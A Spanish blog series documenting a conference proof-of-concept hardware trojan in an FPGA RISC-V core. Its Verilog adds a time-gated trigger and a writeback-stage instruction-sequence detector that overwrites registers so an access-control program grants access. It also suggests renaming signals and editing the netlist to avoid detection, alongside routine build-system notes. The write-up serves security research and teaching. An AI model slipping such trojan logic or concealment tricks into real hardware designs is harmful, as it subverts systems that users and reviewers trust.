Mostrando entradas con la etiqueta h4ck3d. Mostrar todas las entradas
Mostrando entradas con la etiqueta h4ck3d. Mostrar todas las entradas

2021/12/26

H4CK3D 2021: the missing pieces

En esta entrada dejo algunas ideas y detalles apenas enunciados en la charla, quizás ya mencionados en las entradas anteriores.

 

Tambien registro mi pena por no haber podido asistir a todas las demás charlas que hubieron tanto ese día como los restantes, no me dá el, iba a decir físico, pero en este caso vendría a ser más el virtual.

 

Los componentes del ataque 


Para identificarlos e implementarlos estuve horas y horas probando, pensando, fallando, fallando y fallando. Algunas de la fallas fueron realmente estúpidas, por ejemplo intentar detectar la secuencia en el fetch o el execute. Pensá, si hay un pipeline, hay instrucciones futuras que no se van a terminar de ejecutar pues el branch las va a flushear, pero ni en el fetch ni el execute lo sabemos. Resultó el writeback el mejor lugar y quizás no empecé por ahí por que está vacío y me llevó un buen rato comprender su función.

 

¿Qué pasa con el rebote del botón?

 

Hay muy pocas probabilidades de rebote cuando es el programa el que lee el botón. A nivel del ataque, entonces no interesa, el bichito está mirando el comportamiento del programa, no de los botones. Pudo haber mirado directamente los botones y operado tambien sobre el servo, pero ya habíamos quedado en que eso lo haría mucho más detectable.

 Además queda atado a los botones, no al software que mira los botones. Ponele que hay más botones para operar con un menú, tipo las impresoras o los monitores que hacés mil cosas con cuatro botones. Mejor atarse al programa.

 

¿Qué pasa con el azar en el place and route?

 

Debido a los algoritmos utilizados, la etapa de PNR usa pseudoazar. Como todo pseudoazar (¿todo Charli? vos no sabés lo suficiente de criptografía para afirmar eso...) se puede controlar fijando la semilla, "seed". No me hizo falta ir por este lado, pero de algún modo del lado del software desactivé toda sorpresa al deshabilitar las optimizaciones.

 

Un camino no tomado

 

Había encontrado una manera medio rara pero muy compleja de conectar componentes sin pasar por la interfaz, no vale la pena pues es muy llamativo. Sin embargo sospecho que si tomamos el .bliff...


.gate SB_LUT4 I0=buttons[2] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[2] O=buttons_SB_LUT4_I0_O[0]
.attr module_not_derived 00000000000000000000000000000001
.attr src "/usr/local/bin/../share/yosys/ice40/cells_map.v:26.33-27.52"
.param LUT_INIT 0000011101110111
.gate SB_LUT4 I0=buttons[1] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[1] O=buttons_SB_LUT4_I0_1_O[3]



...sería posible agregar componentes y conexiones que no estén en el fuente Verilog, sería una mejora de un orden de magnitud al ataque y candidato a una charla para el año que viene, implica adquirir un tipo de conocimiento muy de nicho, todo lo que aprendí hasta acá es reutilizable y compartible, eso no lo sería.

 

¿Por qué querríamos no pasar por la interfaz? 

 

Para que una inspección superficial no ponga en evidencia la irregularidad. Si mirás el código fuente verás que los nombres son bien explícitos, clara ayuda para mí pero no para lo furtivo. Apuesto a que si se ponen nombre tipo cache_sync nadie se da cuenta.

 

 





2021/11/15

H4CK3D 2021: el ataque concreto

Ya casi estamos, tenemos...


Los componentes del ataque 


Voy a asumir que sabés qué es un pipeline, que entendés un poco de Verilog y lo más difícil, que leiste todo lo anterior o al menos le pasaste una mirada por encima.


Propagación de la instrucción por todo el pipeline  


rv32 implementa un pipeline clásico de 5 stages según el autor y cita de una a la wikipedia.

En uno de esos stages hay que detectar la ejecución de las instrucciones interesantes y en otro hacer la modificación. Para ello tuve que, aprovechando la infraestructura de verificación formal, propagar la instrucción a todo el pipeline. Esto es por que en fetch y decode existe la instrucción, pero luego desaparece, no hace falta.

 

Propagación de la instrucción a todo el pipeline
Propagación de la instrucción a todo el pipeline


Las señales prefijadas con "`" son las agregadas.

 

Extracción de señal del RTC

 

A la interfaz agregué:


output attack_rtc_enable,


y luego:


assign attack_rtc_enable = secondsHi[1];

Esto significa que cuando el bit de valor 2 del dígito de las decenas de segundo esté  prendido, o sea 2 a 3 y 5 (segundos 20 a 39, 50 a 59), el ataque estará habilitado desde el punto de vista del tiempo.

Esta restricción temporal existe para disminuir las probabilidades de que se active durante una etapa de testeo. En un escenario realista, sería un combinacional tipo


assign attack_rtc_enable = hours[3] && minutesLo[3] && secondsHi[1];

 

Para que el ataque esté activo cuando lleve encendido 8 a 15 horas, en el minuto 04, 14, 24, 34, 44, 54 (creo) y los segundos con los que veníamos.

 

FSM en el stage de writeback detector de la secuencia de interés

 

Nada especial, una FSM de 8 estados, pude haber usado menos quizás, tomando estos valores:

localparam
  instr_0 = 32'hfef400a3, // sb  a5,-31(s0)
  instr_1 = 32'hfe244703, // lbu a4,-30(s0)
  instr_2 = 32'h00800793, // li  a5,8
  instr_3 = 32'h02f71a63, // bne a4,a5,30c <main+0x218>
  instr_4 = 32'hfe144703, // lbu a4,-31(s0)
  instr_5 = 32'h00100793, // li  a5,1
  instr_6 = 32'h02f71063; // bne a4,a5,304 <main+0x210>

 
En cada estado se pregunta si está el valor siguiente. Si está se pasa al siguiente estado, sino, regresa al comienzo.  Llegada la instrucción cuarta, se activa el ataque.
 
 

waiting_instr_3: begin
  if (instr_in == instr_3) begin  // bne a4,a5,30c <main+0x218>
    attack_state      <= waiting_instr_4;
    attack_seq_enable <= 1;
  end else begin
    attack_state      <= waiting_instr_0;
    attack_seq_enable <= 0;
  end
end
 
Por las dudas dejé el ataque activo por dos ciclos más.

 

Modificador de registros en regs según condiciones

 

Pasé de:

if (!writeback_flush_in && rd_write_in && |rd_in)
  regs[rd_in] <= rd_value_in;

que dice que si no se está flusheando el pipeline que ponga en el registro apuntado por rd_in el valor en rd_value_in.

Pasé a, decía:

if (!writeback_flush_in && rd_write_in && |rd_in)
  if (attack_seq_enable && attack_rtc_enable) begin
    regs[4] <= rd_value_in;
    regs[5] <= rd_value_in;

  end else begin
    regs[rd_in] <= rd_value_in;
  end

Que dice que si se detectó la secuencia y es la hora apropiada, ponga en los registros 4 y 5 el valor en rd_value_in.

No pude hacer que funcione asignando sólamente a5 <= 1, me parece recordar que tenía que poner una lógica toda complicada, así resultó ser lo más sencillo.

 

Conexionado

 

No merece una sección aparte, pero obviamente tuve que agregar todo el cableado pasando por las interfaces. Esto es por que no encontré rápido, es más, me parece que al menos con las tools que usé no es factible saltearse las interfaces y conectar directamente los componentes. De esto tengo ideas, pero eso lo veremos en "the missing pieces".

 

 


H4CK3D 2021: el escenario y el programa víctima

Por si no querés leer todo lo anterior, te resumo, es un ataque desde el hardware al software inspirado en un hecho real, una falla de software en un sistema crítico.

Dependiendo del flujo del programa, detectar que está ejecutando un “momento interesante” y producir una alteración en el comportamiento.

 

El escenario real sería un expendedor de cervezas, un bloque recibe el pedido y otro lo autoriza. El funcionamiento normal es apretamos el botón de "dame cerveza" y si el botón de "ok" está apretado, te la da. En la demo es con una barrera y los botones son "abrir" y "autorizar".

Tras el ataque, si vamos en un cierto momento y apretamos el "dame cerveza", sale independientemente de que "ok" esté apretado.

 

El programa víctima es entonces:

 

while (1) {

sensor1 = gpio1.read();     // leer botón 1

sensor2 = gpio2.read();     // leer botón 2

if (sensor1) {              // si pide cerveza...

if (sensor2) {          // si está autorizado...

gpio3.write(1);     // abrir

} else {

printf(“no way\n”); // denegar

}

}

}

El diseño atacante:

if ( secuencia de instrucciones && condición de tiempo) {

register = 1;

}


Recordemos que para hacer posible e interesante este ataque, agregué un módulo de RTC y otro de servo, un PWM restringido, superpuesto con la placa:

 

SOC icicle en edu-ciaa-fpga
SOC icicle en edu-ciaa-fpga


Anticipándome, el ataque estará en bien adentro de rv32 y con una pista desde el RTC.

 

Explicación del programa

 

Para comprender el siguiente código necesitás saber unas pocas instrucciones.

 

La lectura de los botones

 

Lectura de botones
Lectura de botones

 

lui: Carga en a5 el valor 0x10 desplazado doce bits a la izquierda

addi: Le suma 4 a a5, observá que coincide con 0x10004 como corresponde con el código HDL y el código C.

lw: Lee en a5 la memoria apuntada por a5, o sea, 0x00010004, o sea, el valor de los botones.

zext.b: esto es el equivalente a andi rd,rs,255, le mete todo cero a los 24 bits superiores de a5.

not: invierte los valores, corresponde a ~.

sb: guarda en lo apuntado por s0 menos 29 lo que haya en a5


fast forward, estamos en...

 

La zona de interés

 

Zona de interés
Zona de interés

El punto de ataque es el naranja, queremos que independiente de los botones, no tome el branch, que pase directo a "state = BarrierUp;"

Para ello, necesitamos que a4 y a5 sean iguales. En el punto rojo, cuando se cargue ese 1 en a5, necesitamos forzar esa igualdad.

Antes, la zona amarilla es la secuencia que nos señala que el ataque debe activarse.

Despues, la instrucción resaltada en verde pisa el valor de a5 antes de que sea usado, esto produce que no hayan efectos colaterales relacionados a a5, lo mismo pasa con a4, pero búscalo vos en el código.


Hay varias maneras de obtener este archivo, como es pedirle a gcc que compile a assembly, que conserve las piezas intermedias o lo que hice, decompilar:

riscv64-unknown-elf-objdump main.o -d -S > main.s

-d es disassemble

-S es que incluya el código fuente

 

Pero no es tan fácil, ese main.o no está aún ubicado en el lugar definitivo del programa ni tiene resueltas las direcciones de salto, es entonces conveniente:


riscv64-unknown-elf-objdump progmen -d -S > progmem.s


y ahí te van a saltar unas diferencias, nos quedamos con los valores de la derecha.


main.s vs progmem.s
main.s vs progmem.s

En amarillo la diferencia por desplazamiento, en naranja los placeholders de los saltos y su resolución y en rojo el código binario correspondiente.


Esta bueno comprobar que el código de máquina corresponda:

 

Zona de interés
Zona de interés

Pero, siempre hay un pero, RISC-V es little endian, así que hay que darlos vuelta en el .hex:

Zona de interés en el binario final
Zona de interés en el binario final

Fijate que hay una colisión con uno de los pasos de la secuencia, de todos modos no es el primero, no hay problema.


Hasta acá ya tenemos que conocemos la secuencia previa y sabemos cuál instrucción debe ser afectada.


Si encontramos una parte de esa secuencia, hay que cambiar unos registros. ¿Cómo? ya veremos...






 



 



2021/10/11

H4CK3D 2021: mejor resolución de dependencias en Makefile

Te recuerdo que todo esto tiene el objetivo de armar un ataque al comportamiento de un programa desde el hardware para mostrar en H4CK3D 2021. Como productos colaterales, una mejor adaptación de grahamedgecombe/icicle a ciaa/icicle, en parte aceptada como PR, en parte quedará en cpantel/evilCodeSequence y un montón de aprendizaje de mi parte, que te comparto como siempre, más si venís de leer lo anterior.

El problema que vengo arrastrando es el tiempo:
  • yosys: 1:10
  • nextpnr-ice40: 1:45
  • iceprog: 2:00

 

No puedo evitarlos, pero como habías visto en la entrada anterior, hay dos ramas, una para el hardware y otra para el software. Convergen en la que llamo "system", que es al resultado del proceso de hardware pegotearle la imagen obtenida por el proceso de software.

Makefile detallado original
Makefile detallado original


Tal como está el Makefile, como que no está fácil, así que lo desarmé para terminar de entenderlo y lo volví a armar. De paso, veamos el proceso pero un poco menos detallado:


Makefile con reglas sencillas
Makefile con reglas sencillas, diagrama simplificado

Eliminé algunas partes del diagrama para recalcar las cuatro reglas y lo de la memoria. 

Arriba a la derecha, se arma la imagen, lo cual incluye tanto nuestro programa como otro código, de esto aún no sé mucho, parece haber algo de inicialización y el de arranque, ya seá desde la RAM o desde flash, este es un punto interesante a explorar, cargar el programa desde memoria SD, agilizaría aún más el proceso.

Arriba a la izquierda, como que estaba confundida la construcción de la imagen con la inclusión de RAM. De hecho, en el Makefile original si modificás el programa regenera sin necesidad el hardware. El primer icebram lo que hace es sólo reservar el espacio de memoria, luego, en system, nuevamente icebram, pone el programa en esa área reservada.

Las nuevas reglas las construí apuntando al final de reglas existentes, los cambios son en el Makefile:


software: BUILD/progmem.hex

Sencillo, pedís "software", hace lo necesario para construir progmem.hex.


hardware: $(ASC_SYN)

según ASC_SYN  = BUILD/$(TOP)_syn.asc viene a ser top_syn.asc en el diagrama.

 

system: $(BIN)

según BIN      = BUILD/$(TOP).bin es top.bin en el diagrama

 

Para romper el encadenamiento erróneo que había, convertí:

$(BLIF) $(JSON): $(YS) $(SRC) BUILD/progmem_syn.hex BUILD/progmem.hex BUILD/defines.sv

en

$(BLIF) $(JSON): $(YS) $(SRC) BUILD/progmem_syn.hex BUILD/defines.sv

Ahora, tal como es de esperar, puedo reemplazar el programa en sólo dos minutos en lugar de los cinco originales.


Respecto a utilizar la flash como arranque, mmh, estuve mirando con más detalle y dice ser SPI, lo cual implica cuatro señales: SCLK (el clock), SS (Slave Select para elegir el chip), MOSI (datos del master al slave) y MISO (datos del slave al master).

Para comenzar, en top.sv parecen estar los dos primeros, pero los últimos están como inout

Me da olor a Dual SPI. Más que luego se instancian uno tales "flash_io" del tipo SB_IO y TRELLIS_IO que según veo por encima rapidito tienen que ver con tristate.

 Luego, en flash.sv, dice

     assign clk_out = clk;

y no me suena que SPI soporte 36Mhz.

¡Qué lástima! Me había hecho ilusiones, incluso le había soldado los pines al sdcard reader que tengo. Esto está muy encima de mis habilidades y no es bloqueante ni aporta mucho al malware que tengo que hacer funcionar...



2021/10/10

H4CK3D 2021: cambios al Makefile

Esquivándole el bulto al problema principal, que es implementar el ataque, sigo introduciendo cambios y mejorías, en este caso al Makefile.

 

Relacionado al Makefile, ya había puesto:

BOARD    ?= edufpga
PROGRAM  ?= hello

Lo primero debido a que desde ciaa/icicle para acá, es la placa que vamos a usar, no quiero estar poniendo BOARD=edufpga en cada llamada a make. Lo segundo es que el foco ha pasado de elegir el BOARD a elegir el PROGRAM.

Tambien había modificado la regla para defines.sv para que tome la configuración de puertos y dispositivos de la carpeta del programa. Esto implica que al hacer un nuevo programa, convienen hacer un make clean para que se reescriba con la nueva configuración.

 

Optimización del programa

 

Una mejoría está relacionada a la optimización del código del programa. Por default grahamedgecombe/icicle lo puso en -Os, que es razonable, hacer el programa lo más chico posible, menos RAM, menos ocupación de la FPGA. Pero para un inexperto como yo en assembly en general y de risc-v en particular, se me hace bastante complicado analizar el código para implementar el ataque, así que ahora existe la opción:

OPTLEVEL ?= -Os

si en la invocación agregás

OPTLEVEL=

como en 

make PROGRAM=access_control OPTLEVEL=""

no optimiza.

 

Uso de azar en PNR


Apenas complicado fué el asunto del SEED. ¿Qué es el SEED? Pues que para el place and route funcione bien, el algoritmo utiliza pseudoazar.

¿Qué es place and route? Es el proceso de ubicar y conectar los componentes en un circuito electrónico en este caso en la FPGA.

¿Qué es pseudoazar? Bueno, primero veamos que es azar. Azar es... tirar los dados. El problema con el azar es que no podés repetirlo y si usás azar para algo, si tenés una falla y no lo podés repetir, se complica diagnosticar la cause. Pero necesitás el azar, ¿en qué quedamos?

El pseudoazar viene a ser tirar los dados un montón de veces y guardar lo que te salió en una lista. Luego, cuando lo necesitás tirás una sola vez los dados para elegir donde empezar en esa lista. Entonces tenés azar y repetición a la vez si necesitás, eligiendo la posición en la lista. Es un azar apto para estas cosas, pero no ante un adversario, pues no bien reusás la lista o comparando ejecuciones, se puede obtener la lista.

La gente que realmente sabe criptografía sabrá ser generosa con mi explicación.

Como el archivo generado depende entonces del pseudoazar, si necesito que dado el mismo diseño obtener el mismo placement and routing, necesito el control de SEED, que en nextprn-ice40 se determina con el parámetro --seed.

Me interesa que genere siempre lo mismo debido a que quizás para el ataque pueda, no creo, hacer la modificación no sobre el código HDL sino en una etapa posterior, veremos.

En el Makefile primero hay de definirlo con vacío como default:

SEED     ?=

y luego en arch/ice40.mk, si SEED está vacío, sigue vacío, pero si hay algo, agregarle la key --speed.

ifeq ($(SEED),)
SEEDVAL =
else
SEEDVAL = --seed $(SEED)
endif

SEEDVAL luego es reemplazado en la línea:

nextpnr-ice40 $(QUIET) --$(SPEED)$(DEVICE) --package $(PACKAGE) $(SEEDVAL) --json $< --pcf $(PCF) --freq $(FREQ_PLL) --asc $@

 

¿Por qué no hice la misma lógica con OPTLEVEL? Buena pregunta... debe ser por que es fácil escribir "" y no "--seed 3".

 

Dependencias

 

El diagrama de Pablo, redibujado así, no me alcanza, necesito más detalle. Para ello necesito corregir un poco el Makefile.

 

icicle flow high level
icicle flow high level


Para comenzar, mover todo objeto temporario o construido a una carpeta, BUILD es un buen lugar, luego, mover los .ys a arch.

De tanto revisar como le fuí tomando la mano y generé un nuevo diagrama:

 

ICE40 flow low level
ICE40 flow low level


 

El problema restante que me queda es el tiempo:

  • yosys: 1:10
  • nextpnr-ice40: 1:45
  • iceprog: 2:00

Tengo que armar reglas de Makefile tal que pueda hacer tener estas cuatro:

  • software: genera progmem.hex.
  • hardware: genera top_syn.asc.
  • system: genera top.bin.
  • all: que haga todo sin tanta sutileza, lo que está ahora.

Será otro día...


 

 



H4CK3D 2021: sigue el desvío, para bien

Esto más que H4CK3D debería llamarse... no sé, queda H4CK3D pues todas estas entradas son lo que no me alcanzaría jamás el tiempo para mostrar en una charla de una conferencia, es toda la investigación previa, la familiarización con el entorno y las herramientas.


Además, se viene la charla y quizás esté un poquito retrasado, eso me pone en modo procrastinador productivo, no hago lo que debería pero si algo útil en su lugar.

 

La excusa de hoy es haber agregado un módulo de servo. ¿Qué es un servo? Sos una de las pocas personas que lee este blog y calculo que deberías estar en sintonía con estos temas, así que si no sabés, podés buscar mejores detalles en Internet, pero te hago un resumen.

 

Es un motorcito con unos engranajes que dependiendo de una señal se posiciona en un ángulo. Esa señal es un pulso que debe cumplir con que el período sea de 20ms y el pulso mida entre 1 y 2 ms.

 

Servo al máximo
Servo al máximo

Servo al mínimo
Servo al mínimo

Esa forma se puede obtener en un microcontrolador con este sencillo programa,


#define PERIOD    0.020
#define MIN_WIDTH 0.001
#define MAX_WIDTH 0.002
float period = PERIOD;
float width = MIN_WIDTH;
int main() {
    DigitalOut servo1(PC_8);   
    while(1) {
       for(int i=0; i< 200; ++i) {
          servo1=1;
          wait(MIN_WIDTH);
          servo1=0;
          wait(PERIOD - MIN_WIDTH);
       }    
       for(int i=0; i< 200; ++i) {
          servo1=1;
          wait(MAX_WIDTH);
          servo1=0;
          wait(PERIOD - MAX_WIDTH);
       }    
    }


La versión completa en  https://os.mbed.com/users/cpantel/code/servo_software/

 

Si ya programaste alguna vez un microcontrolador o si pensás un rato, notarás que no bien quieras hacer algo más, vas a tener tocar los wait()s para compensar, una pesadilla inmanejable. Podrías entonces usar un timer que genere excepciones pero la verdad es que buena parte del los microcontroladores, al menos todos los que me he cruzado, que no son muchos, tiene un dispositivo llamado PWM al que le decís generame pulsos de tales características y lo hacen, aunque hayas logrado colgar al micro.

 

#define PERIOD    0.020
#define MIN_WIDTH 0.001
DigitalIn openButton(D4);
DigitalIn moveUpButton(D5);
DigitalIn moveDownButton(D6);
DigitalIn closeButton(D7);
PwmOut led1(LED1);
PwmOut servo1(PC_8);
PwmOut servo2(PC_9);
float period = PERIOD;
float width = MIN_WIDTH;
int main() {
    servo1.period(PERIOD);
    servo1.pulsewidth(width);
    while (1) {
// hacé lo que quieras acá
    }
}


Listo,un ejemplo más completo que según aprietes los botones mueve el servo en

https://os.mbed.com/users/cpantel/code/servo_PWM/

Volviendo a la cpu risc v en la edu-ciaa-fpga, agregué un PWM restringido, que sólo sirve para manejar un servo. Esto es, con un PWM normal puedo darle por software cualquier frecuencia y duración de pulso, lo cual no necesariamente es correcto. Con el módulo servo, no importa lo que hagas en software, la salida va a ser correcta.


Tuve algunas dificultades, por ejemplo, tengo módulos en los que puedo leer (rtc), en este escribir, pero no pude leer y escribir, ya le dedicaré un rato a ello.

 

La otra, es que tuve que implementar con una condición lógica bastante larga en lugar de unos case que más adelante me hubiesen permitido usar funciones más avanzadas de (system)verilog para generar los casos, ya le dedicaré un rato a ello.

Ya que estaba, aproveché para mejorar los ifdef que habilitan los puertos y los módulos. Antes hubiese sido así:

En top.sv:


`ifdef ARDUINO
    output logic [31:0] arduino,
`endif

y en la instanciación de icicle, en la interfaz:

`ifdef ARDUINO
        .arduino(arduino),
`endif

 

luego en icicle.sv:

 

`ifdef ARDUINO
    //código...

 

El problema es que al hacer el servo, que usa un pin del arduino, tenía que medio hackearle ese pin pues al habilitar ARDUINO, los pines los usaba el módulo arduino. Lo que hice fue separar en _CONN y _DEV, lo cual me permite habilitar los pines del arduino y luego conectarlos al módulo arduino o no instanciar ese módulo y usarlos desde otro.

Esto nos lleva a que cada programa puede usar distintas configuraciones de hardware, asi que además agregué que a los defines.sv que se le copia la base de la placa, se le agreguen lo que el programa pida, entonces en boards/edufpga-defines.sv tengo


// Defines for EDU-FPGA
`define noPMOD0_DEV
`define noPMOD1_DEV
`define noARDUINO_DEV
`define noRTC_DEV
`define noSERVO_DEV
`define noUART_DEV

`define noPMOD0_CONN
`define noPMOD1_CONN
`define noARDUINO_CONN

que cumple la función de documentar que hay disponible, luego en programs/servo_device/edufpga-defines.sv:

// Defines for servo_device running in EDU-FPGA
`define SERVO_DEV
`define UART_DEV

`define ARDUINO_CONN

y esto se arma en el Makefile:

cat boards/$(BOARD)-defines.sv programs/$(PROGRAM)/$(BOARD)-defines.sv > defines.sv

 

En el mismo camino de facilitar cambiar el programa, pasé a un .h el mapa de memoria, actualmente:


#define LEDS        *((volatile uint32_t *) 0x00010000)
#define BUTTONS     *((volatile uint32_t *) 0x00010004)
#define PMOD0       *((volatile uint32_t *) 0x00010008)
#define PMOD1       *((volatile uint32_t *) 0x0001000c)
#define ARDUINO     *((volatile uint32_t *) 0x00010010)
#define RTC         *((volatile uint32_t *) 0x00010014)
#define SERVO       *((volatile uint32_t *) 0x00010018)
#define UART_BAUD   *((volatile uint32_t *) 0x00020000)
#define UART_STATUS *((volatile uint32_t *) 0x00020004)
#define UART_DATA   *((volatile  int32_t *) 0x00020008)
#define MTIME       *((volatile uint64_t *) 0x00030000)
#define MTIMECMP    *((volatile uint64_t *) 0x00030008)

Con todos estos cambios, si algún día alguien quiere portar el programa a otra placa, le va a resultar más fácil.

Esto me llevó, por completitud, a adaptar todo el "legacy", comprobar que todos los programas funcionen, probablemente, con un poco de suerte... https://github.com/cpantel/evilCodeSequence/tree/v0.2.0


Me faltaría documentar un poco en el readme, uno de estos dias...




 

 




2021/09/23

H4CK3D 2021: un desvío innecesario

Recordemos, para la charla necesito comprender como funciona, por una cuestión de completitud y para colaborar con el proyecto edu-ciaa-fpga terminé de incorporar el conector arduino y un pmod como input.

Para el ataque de la charla, viene bien tener un evento de activación, o sea, que no funcione siempre sino en un rango temporal reducido para que sea más difícil que salte en un test, para ello necesito algo que lleve el tiempo, un reloj, independiente del programa, lo llamé ambiciosamente RTC pero es mucho menos, es un trocito de verilog que cuenta los segundos y minutos y desborda a la hora.

¿Por qué no me sirve un reloj por software? pues por que para ello necesitaría software colgado de systick o similar y saber en la RAM donde guarda el valor. Me pareció más sencillo y sin colisión con un escenario real el circuito independiente.

Es muy sencillo:

counter <= counter + 1;
if (counter == COUNT ) begin
  counter <= 0;
  secondsLo <= secondsLo + 1;
  if (secondsLo == 9) begin
    secondsLo <= 0;
    secondsHi <= secondsHi + 1;
    if (secondsHi == 5) begin
      secondsHi <= 0;
      minutesLo <= minutesLo + 1;
      if (minutesLo == 9) begin
        minutesLo <= 0;
        minutesHi <= minutesHi + 1;
        if (minutesHi == 5) begin
          minutesHi <= 0;
        end
      end
    end
  end
end

Te juro que quise tomarlo de uno existente, pero eran muy complicados, quizás no sea una maravilla pero funciona.

En la primera versión tiré eso dentro de un always en el top.sv y lo conecté al arduino, pero era muy sucio y no manifestaba desafío, entonces decidí convertirlo en un módulo y además conectarlo a los buses de datos, direcciones y control como cualquier otro dispositivo.

Como es un módulo, existe en su propio .sv, rtc.sv y en icicle.sv hay que incluirlo:

`include "rtc.sv"

 

Luego hay que agregar el registro donde se lo lee:

logic [31:0] rtc_read_value;

 

y su asignación al registro de lectura:

assign mem_read_value =
       ram_read_value |... | rtc_read_value | ...;

 

Las señales de selección: 

logic rtc_sel;

Las de ready:

logic rtc_ready;
assign mem_ready = ram_ready | ... | rtc_ready | ...;


Mapearlo al direccionamiento:


32'b..001_00000000_000101??: rtc_sel = 1; //0x00010014


Y finalmente a los buses:

 

rtc #(.COUNT(36000000)) rtc (
    .clk_in(clk),
    .reset(reset),
    /* memory bus */
    .address_in(mem_address),
    .sel_in(rtc_sel),
    .read_in(mem_read),
    .read_value_out(rtc_read_value),
    .write_mask_in(mem_write_mask),
    .write_value_in(mem_write_value),
    .ready_out(rtc_ready)
);

 

Puse las señales de escritura tambien, no por copiar y pegar sino por que en el diseño original, en la flash que entiendo no se puede escribir tal como está, están presentes. Intuyo que dado que no se usan no se sintetizan, así que no molestan e igual me queda para el futuro si quisiera cambiar la hora desde el programa.


En el rtc.sv, además de conectar los buses, como la lectura es inmediata:


assign ready_out = sel_in;

Y la lectura proviene de:


assign read_value_out = 

{16'b0,
 sel_in ?
   {minutesHi,minutesLo,secondsHi,secondsLo}
   : 16'b0};


Como usa 16 bits (cuatro para cada dígito), los primeros 16 son ceros. Si está activo sel_in, van los valores apropiados, sino, otros 16 ceros.

Finalmente el programa de ejemplo, lo basé en el hello original para recuperar la uart, el mapeo se hace con:


#define RTC    *((volatile uint32_t *) 0x00010014)


El main lo que hace es leer el RTC, lo copia al conector de arduino para manifestar los valores binarios y 

 

for (;;) {

    uint32_t rtc = RTC;
    ARDUINO = rtc;
    msg[5] = ((rtc & 0xf000 ) >> 12 ) + '0';
    msg[6] = ((rtc & 0xf00 ) >> 8 ) + '0';
    msg[8] = ((rtc & 0xf0 ) >> 4 ) + '0';
    msg[9] = ( rtc & 0xf ) + '0';
    uart_puts(msg);
    LEDS = ~LEDS;
    uint32_t start = rdcycle();
    while ((rdcycle() - start) <= FREQ);
}


Con los msg[x] se parchea un mensaje:

"RTC: ..:..\r\n";


Va tomando de a cuatro bits, los desplaza al nibble menos significativo y lo convierte en el ascii apropiado sumándolo al caracter '0'.


Este mensaje lo tuve que definir con:


    char msg[13];
    msg[0]='R';
    msg[1]='T';
    msg[2]='C';
    msg[3]=':';
    msg[4]=' ';
    msg[5]='.';
    msg[6]='.';
    msg[7]=':';
    msg[8]='.';
    msg[9]='.';
    msg[10]='\r';
    msg[11]='\n';
    msg[12]='\0';

 

En lugar de:

 

char msg[] = "RTC: ..:..\r\n";

 

Debido a este mensaje de error, cuyo significado intuyo pero prefiero no decir nada sin fundamentos para no generar información errónea:

 

/usr/local/lib/gcc/riscv64-unknown-elf/11.1.0/../../../../riscv64-unknown-elf/bin/ld: /usr/local/lib/gcc/riscv64-unknown-elf/11.1.0/../../../../riscv64-unknown-elf/lib/libc.a(lib_a-memcpy.o): ABI is incompatible with that of the selected emulation:
 

target emulation `elf64-littleriscv' does not match `elf32-littleriscv'

 

Funciona ok, el programa toma el valor del RTC y lo pone en el arduino, falta video, creeme y lo muestra en la uart:

 

Minutos y segundos transcurridos desde el inicio
Minutos y segundos transcurridos desde el inicio, reset o último overflow

 







2021/09/20

H4CK3D 2021: un desvío necesario

Si venís leyendo los primeros pasos, entiendo que te va a resultar más o menos natural que siga tomando el control de la placa en lugar de ir directo hacia la POC.

Para esta necesito examinar el flujo de ejecución de las instrucciones del programa a atacar, ante mi se abren tres caminos, no necesariamente excluyentes:


Analizar el código fuente generado

 

O tomar el ejecutable y decompilarlo a assembly o pedirle al compilador que genere o conserve el mismo código. Esto último se logra con la opción -save-temps agregada a la siguiente línea del Makefile:


CFLAGS = -march=rv32i -mabi=ilp32 -Wall -Wextra -pedantic -DFREQ=$(FREQ_PLL)000000 -Os -ffreestanding -nostartfiles -g -Iprograms/$(PROGRAM)

Me parece conveniente además quitár ese -Os, que es optimización de tamaño.

 

Generar una simulación

 

Por lo que entendí de la charla FOSS para el desarrollo con FPGA de Rodrigo Melo, verilator es mi amigo, pero fuí a la documentación y está pensada para quien se va a dedicar, no para un turista como yo, aprender a usarlo es un subproyecto tan grande como el resto del proyecto.

 

Instrumentación

 

Puedo volcar los buses a los puertos de salida y capturarlos desde otro sistema, puede ser buen momento para usar la PYNQ, que tiene la cantidad de entradas apropiadas y al correr linux me facilita muchas cosas, pero, también es un subproyecto muy grande.


Tanto en la simulación como en la monitorización, necesito lidiar con:

static inline uint32_t rdcycle(void) {
    uint32_t cycle;
    asm volatile ("rdcycle %0" : "=r"(cycle));
    return cycle;
}

        uint32_t start = rdcycle();
        while ((rdcycle() - start) <= FREQ);

 

No sé si es un mero delay o cumple otra función indispensable, recordemos que cualquier problema de concurrencia se resuelve con un delay().

Mientras barajo todas estas posibilidades, lo mejor es terminar de implementar el acceso al conector arduino y el pmod restante, a modo de práctica y profundización del conocimiento del sistema y de paso es trabajo que se puede aportar al icicle de Pablo, por si alguien luego lo quiere aprovechar.


entonces...

 

De tanto repetir, ya tengo un procedimiento, funciona pero los razonamientos que agrego son muy personales, tomalos con suma precaución:

Identificar los pines y agregarlos al archivo.pcf

Agregar esos pines ya sea como input u ouput al top.

Pasarlos al módulo icicle

Dentro del modulo icicle, tomar los pines

Para cada módulo definir

    logic XXX_sel; 

Este sirve para que luego el mapeador, el casez (mem_address) identique a donde está apuntando la dirección en el bus 

    logic [31:0] XXX_read_value;

Es donde va a quedar escrito el valor leído

    logic XXX_ready;

Avisa que el valor leído puede ser leído. Fijate que casi todos los _ready están conectados a _sel, esto es por que se pueden leer inmediatamente. En los casos de  ram.sv y flash.sv evidentemente hay demoras.

Si notaste que los dispositivos están enmarcado en unos `ifdef asociados a defines que van en edufpga-defines.sv:

 

// Defines for EDU-FPGA
`define PMOD0
`define PMOD1
`define ARDUINO

 
